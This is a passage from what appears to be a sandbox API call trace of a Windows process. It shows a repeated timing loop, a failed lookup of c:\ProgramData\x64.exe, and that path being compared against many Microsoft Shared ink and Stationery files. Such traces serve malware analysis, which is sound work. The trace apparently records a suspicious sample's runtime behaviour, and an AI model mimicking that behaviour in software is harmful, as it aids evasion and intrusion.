wMilliseconds=0x1f5)) [0190.879] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.879] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.879] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.879] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.879] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.879] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.879] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.879] GetTickCount () returned 0x115fc69 [0190.879] GetTickCount () returned 0x115fc69 [0190.879] CoFreeUnusedLibraries () [0190.879] DllCanUnloadNow () returned 0x1 [0190.879] GetTickCount () returned 0x115fc69 [0190.879] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.880] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.880] GetTickCount () returned 0x115fc69 [0190.881] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x1f5)) [0190.881] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.881] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.881] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.881] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.881] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.881] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.881] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.881] GetTickCount () returned 0x115fc69 [0190.881] GetTickCount () returned 0x115fc69 [0190.882] CoFreeUnusedLibraries () [0190.882] DllCanUnloadNow () returned 0x1 [0190.882] GetTickCount () returned 0x115fc69 [0190.882] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.882] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.882] GetTickCount () returned 0x115fc69 [0190.883] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x1f5)) [0190.883] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.883] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.883] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.883] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.884] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.884] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.884] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.884] GetTickCount () returned 0x115fc69 [0190.884] GetTickCount () returned 0x115fc69 [0190.884] CoFreeUnusedLibraries () [0190.884] DllCanUnloadNow () returned 0x1 [0190.884] GetTickCount () returned 0x115fc69 [0190.884] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.884] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.884] GetTickCount () returned 0x115fc69 [0190.906] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x215)) [0190.906] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.906] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.907] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.907] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x0 [0190.907] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ee58 [0190.907] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f80 [0190.907] PeekMessageA (in: lpMsg=0x18ea68, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ea68) returned 0 [0190.907] GetTickCount () returned 0x115fc88 [0190.907] GetTickCount () returned 0x115fc88 [0190.907] CoFreeUnusedLibraries () [0190.908] DllCanUnloadNow () returned 0x1 [0190.908] GetTickCount () returned 0x115fc88 [0190.908] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f80 | out: hHeap=0x3820000) returned 1 [0190.908] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ee58 | out: hHeap=0x3820000) returned 1 [0190.908] GetTickCount () returned 0x115fc88 [0190.953] GetLocalTime (in: lpSystemTime=0x18eb1c | out: lpSystemTime=0x18eb1c*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0xa, wMilliseconds=0x243)) [0190.953] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18eaec, rgbDig=0x18eacc | out: pnumprs=0x18eaec, rgbDig=0x18eacc) returned 0x0 [0190.953] VarNumFromParseNum (in: pnumprs=0x18eaec, rgbDig=0x18eacc, dwVtBits=0x20, pvar=0x18eb1c | out: pvar=0x18eb1c) returned 0x0 [0190.954] VarSub (in: pvarLeft=0x18eb7c, pvarRight=0x18ebb0, pvarResult=0x18eb9c | out: pvarResult=0x18eb9c) returned 0x0 [0190.954] VarCmp (pvarLeft=0x18eb9c, pvarRight=0x18eb5c, lcid=0x0, dwFlags=0x30001) returned 0x2 [0190.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="c:\\ProgramData\\x64.exe", cchWideChar=-1, lpMultiByteStr=0x18e540, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="c:\\ProgramData\\x64.exe", lpUsedDefaultChar=0x0) returned 23 [0190.954] GetFullPathNameA (in: lpFileName="c:\\ProgramData\\x64.exe", nBufferLength=0x104, lpBuffer=0x18e77c, lpFilePart=0x18e538 | out: lpBuffer="c:\\ProgramData\\x64.exe", lpFilePart=0x18e538*="x64.exe") returned 0x16 [0190.954] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="c:\\ProgramData\\x64.exe", cchWideChar=-1, lpMultiByteStr=0x18e9c8, cbMultiByte=261, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="c:\\ProgramData\\x64.exe", lpUsedDefaultChar=0x0) returned 23 [0190.954] FindClose (in: hFindFile=0x143d108 | out: hFindFile=0x143d108) returned 1 [0190.955] FindFirstFileA (in: lpFileName="c:\\ProgramData\\x64.exe", lpFindFileData=0x18e518 | out: lpFindFileData=0x18e518*(dwFileAttributes=0x18e538, ftCreationTime.dwLowDateTime=0x1429ab8, ftCreationTime.dwHighDateTime=0x18eb78, ftLastAccessTime.dwLowDateTime=0x18e648, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x72a16647, ftLastWriteTime.dwHighDateTime=0x18e77c, nFileSizeHigh=0x18e540, nFileSizeLow=0x18e78b, dwReserved0=0x1, dwReserved1=0x505c3a63, cFileName="rogramData\\x64.exe", cAlternateFileName="ô8Ý\x8fþÿÿÿL\x95Âv¨È¢rüY¡rÈé\x18")) returned 0xffffffff [0190.959] GetLastError () returned 0x2 [0190.959] GetLastError () returned 0x2 [0190.959] SetLastError (dwErrCode=0x2) [0190.959] GetLastError () returned 0x2 [0190.959] SetLastError (dwErrCode=0x2) [0190.959] VarBstrCmp (bstrLeft="", bstrRight="", lcid=0x0, dwFlags=0x30001) returned 0x1 [0190.996] GetFullPathNameA (in: lpFileName="c:\\ProgramData\\x64.exe", nBufferLength=0x104, lpBuffer=0x18e9d8, lpFilePart=0x18e8a0 | out: lpBuffer="c:\\ProgramData\\x64.exe", lpFilePart=0x18e8a0*="x64.exe") returned 0x16 [0190.996] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0190.996] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0190.996] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 1 [0190.996] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0190.996] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0190.996] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml") returned 1 [0190.996] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0190.996] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0190.996] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml") returned 1 [0190.996] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 1 [0190.996] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 1 [0190.996] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml") returned 1 [0190.997] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 1 [0190.997] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 1 [0190.997] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml") returned 1 [0190.997] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 1 [0190.997] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 1 [0190.997] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml") returned 1 [0190.997] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 1 [0190.997] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 1 [0190.997] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml") returned 1 [0190.997] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 1 [0190.997] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 1 [0190.997] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml") returned 1 [0190.997] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 1 [0190.997] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 1 [0190.997] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml") returned 1 [0190.997] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 1 [0190.997] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 1 [0190.997] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 1 [0190.997] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 1 [0190.997] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 1 [0190.997] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml") returned 1 [0190.997] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 1 [0190.997] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 1 [0190.997] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml") returned 1 [0190.997] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 1 [0190.997] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 1 [0190.998] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml") returned 1 [0190.998] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 1 [0190.998] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 1 [0190.998] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml") returned 1 [0190.998] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 1 [0190.998] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 1 [0190.998] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml") returned 1 [0190.998] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 1 [0190.998] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 1 [0190.998] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml") returned 1 [0190.998] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 1 [0190.998] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 1 [0190.998] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml") returned 1 [0190.998] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 1 [0190.998] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 1 [0190.998] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml") returned 1 [0190.998] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 1 [0190.998] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 1 [0190.998] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml") returned 1 [0190.998] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 1 [0190.998] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 1 [0190.998] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml") returned 1 [0190.998] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 1 [0190.998] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 1 [0190.998] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml") returned 1 [0190.998] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 1 [0190.999] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 1 [0190.999] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml") returned 1 [0190.999] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 1 [0190.999] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 1 [0190.999] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml") returned 1 [0190.999] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 1 [0190.999] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 1 [0190.999] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml") returned 1 [0190.999] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 1 [0190.999] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 1 [0190.999] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.htm") returned 1 [0190.999] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 1 [0190.999] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 1 [0190.999] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm") returned 1 [0190.999] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 1 [0190.999] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 1 [0190.999] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Bears.jpg") returned 1 [0190.999] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 1 [0190.999] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 1 [0191.007] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 1 [0191.007] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 1 [0191.007] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 1 [0191.007] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 1 [0191.007] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 1 [0191.007] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 1 [0191.007] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm") returned 1 [0191.007] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 1 [0191.007] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 1 [0191.007] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Garden.jpg") returned 1 [0191.008] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 1 [0191.008] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 1 [0191.008] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 1 [0191.008] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 1 [0191.008] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 1 [0191.008] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared\\Stationery\\Peacock.htm") returned 1 [0191.008] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 1 [0191.008] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 1 [0191.008] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Peacock.htm") returned 1 [0191.008] lstrcmpiA (lpString1="c:\\ProgramData\\x64.exe", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft 